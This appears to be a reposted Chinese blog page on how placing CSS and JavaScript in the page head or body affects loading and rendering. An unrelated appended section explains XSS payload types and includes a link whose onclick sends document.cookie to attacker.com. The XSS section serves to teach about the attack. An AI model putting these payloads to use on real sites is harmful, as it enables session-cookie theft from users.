css和js放在什么位置,原来JS和CSS放的位置还有这样的玄机

本文探讨了不同加载顺序对页面渲染的影响,如外部JS与CSS的位置关系、内联JS与CSS的影响等,并给出了优化建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1. head里的顺序如下,考虑会对请求有何影响:

a. 外部js在css前面

b. 外部js在css后面

c. 内部js在css前面

// do something

d. 内部js在css后面

// do something

e. 内联css在外联css前面

f. 内联css在外联css后面

结果:

a,b – head里出现外联js,无论如何放,css文件都不能和body里的请求并行。补充:body里dom渲染取决于head里的js执行完。 (图1)

c – head里的内联js只要在所有外联css前面,css文件可以和body里的请求并行(图2)

d – head里的内联js只要在任一外联css后面,css文件就不能和body里的请求并行。补充:原因也是要等js执行完(图1)

e – firefox/ie下,要等1.css加载完生效。safari/chrome下,则先生效,再加载1.css

f – 等1.css加载完生效

figure.png

2. 内联js要等它前面的所有外联css文件加载完后执行。之前写过一篇子资源原理的笔记。

s_time = +new Date; // 5s后才执行,所以在这里记录开始时间是不准确的。

3. 外联js放在页面最后,高级浏览器会自动做优化。如:

firefox/chrome/safari加载的优化处理相似。见图3。

4. 内联长执行时间js,无论放在页面任何位置,都会影响整个页面的渲染。测试文件,如:

 buttondocument.getElementById('bn').onclick = function() {

alert(1);

}

// 正常渲染时间

document.body.appendChild(document.createTextNode(+new Date - s_time + 'ms')); // 执行5s。重新打开页面(不是刷新),整个页面空白5s。

// 前面的dom结构正常渲染,但不显示,等5s后全部显示出来。

在页面初始执行阶段如果有长执行时间的内联js,对性能的影响是非常非常严重的!但是,如果把那段执行5s的js放到外部就不会有上述影响,或者移到domreay/onload后执行也可以。

依据上述结论组织页面中的css和js才会更合理。

转自网络

### XSS 攻击有效载荷的形式 XSS(跨站脚本攻击)是一种常见的安全漏洞,允许攻击者通过注入恶意代码到可信网站中执行。这些恶意代码通常被称为 **payloads** 或负载。以下是几种常见类型的 XSS payloads 及其用法: #### 1. 脚本标签型 Payload 最简单的 XSS payload 是直接嵌入 `<script>` 标签内的 JavaScript 代码。这种技术利用了 HTML 的解析机制,在页面加载时会立即运行脚本。 ```html <script>alert('XSS')</script> ``` 此代码会在目标用户的浏览器中弹出一个警告框[^1]。 #### 2. 基于事件的 Payload 某些情况下,无法直接插入 `<script>` 标签,则可以通过触发 DOM 事件来实现 XSS 攻击。例如 `onerror` `onclick` 属性可用于执行恶意代码。 ```html <img src="nonexistent.jpg" onerror="alert('XSS')"> ``` 当图像资源不存在时,`onerror` 处理函数会被调用并显示提示消息[^2]。 #### 3. 利用内联样式属性的 Payload CSS 中的部分属性支持绑定 JavaScript 表达式作为值的一部分。这使得即使在严格过滤掉显式的 `<script>` 标记的情况下,仍然可能绕过防护措施完成攻击。 ```html <div style="background-image:url(javascript:alert('XSS'));"> </div> ``` 上述例子展示了如何借助 CSS background-image 属性间接引入 JS 执行环境。 #### 4. 社交工程学诱导点击型 Payload 如果服务器端防御较强而难以找到合适的注入点,那么设计诱骗用户主动交互的内容也是一种策略。比如创建看似无害却暗藏玄机链接按钮让访问者误触激活隐藏逻辑。 ```javascript <a href="#" onclick="document.location='http://attacker.com/steal?data='+document.cookie">Click Me!</a> ``` 一旦受害者点击该链接,他们的 cookie 数据就会被发送给攻击者的远程站点[^3]。 #### 注意事项 尽管这里列举了一些基础样例供学习参考,请勿非法测试任何真实在线服务以免违反法律条款造成不必要的麻烦!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值